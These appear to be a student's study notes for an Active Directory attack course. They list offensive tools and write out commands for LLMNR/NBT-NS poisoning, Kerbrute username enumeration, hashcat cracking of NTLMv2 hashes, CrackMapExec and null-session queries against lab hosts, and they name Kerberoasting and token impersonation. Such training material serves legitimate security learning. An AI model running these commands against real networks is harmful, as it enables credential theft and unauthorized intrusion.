Notes

1- Introduction to Active Directory Enumeration & Attacks 2-Tools of the Trade       PowerView/SharpView,BloodHound,SharpHound,BloodHound.py,Kerbrute,Impacket toolkit,Responder,Inveigh.ps1,C# Inveigh (InveighZero),rpcinfo,rpcclient,CrackMapExec (CME),Rubeus,GetUserSPNs.py,Hashcat,enum4linux,enum4linux-ng,ldapsearch,windapsearch,DomainPasswordSpray.ps1,LAPSToolkit,smbmap,psexec.py,wmiexec.py,Snaffler,smbserver.py,setspn.exe,Mimikatz,secretsdump.py,evil-winrm,mssqlclient.py,noPac.py,rpcdump.py,CVE-2021-1675.py,ntlmrelayx.py,PetitPotam.py,gettgtpkinit.py,getnthash.py,adidnsdump,gpp-decrypt,GetNPUsers.py,lookupsid.py,ticketer.py,raiseChild.py,Active Directory Explorer,PingCastle,Group3r,ADRecon 3- External Recon and Enumeration Principles   what     IP Space     Domain Information       Schema Format  Can     Data Disclosures       Breach Data   where     ASN / IP registrars       Domain Registrars & DNS     Social Media     Public-Facing Company Websites       Cloud & Dev Storage Spaces       Breach Data Sources 4-Initial Enumeration of the Domain (we are starting on an attack host placed inside the network for us )   wireshark -E   tcpdump -i ens224   pktmon.exe   Responder -I ens224 -A //LLMNR, NBT-NS, MDNS   fping -asgq 172.16.5.0/23 // Active Checks   nmap -v -A -iL hosts.txt -oN host-enum.txt   nmap -A 172.16.5.100   sudo make kerbrute etc...   //kerbrute usage - Internal AD Username Enumeration     kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users   -SeImpersonate privileges using Juicy Potato   common attacks for SYSTEM-level access on a domain-joined host     BloodHound and PowerView.     Kerberoasting / ASREPRoasting     Net-NTLMv2 hashes or perform SMB relay attacks     token impersonation to hijack a privileged domain user account     Carry out ACL attacks 5-LLMNR/NBT-NS Poisoning - from Linux   LLMNR & NBT-NS poisoning tools     Responder       protocols MSSQL,DCE-RPC,FTP, POP3, IMAP, and SMTP auth     Metasploit     Inveigh       protocols: LLMNR,DNS,MDNS,NBNS,DHCP,ICMP,HTTP,HTTPS,SMB,LDAP,WebDAV,Proxy Auth     hashcat -m 5600 forend_ntlmv2 rockyou.txt 6- LLMNR/NBT-NS Poisoning - from Windows     Inveigh powershell       Import-Module .Inveigh.ps1       (Get-Command Invoke-Inveigh).Parameters // not important       Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y     Inveigh C# 7-Password Spraying Overview   8-Enumerating & Retrieving Password Policies   Enumerating the Password Policy - from Linux - Credentialed       crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol     rpcclient -U "" -N 172.16.5.5       querydominfo       enumdomuser     enum4linux -P 172.16.5.5     enum4linux-ng -P 172.16.5.5 -oA ilfreight     net use \DC01ipc$ "" /u:"" //null session from windows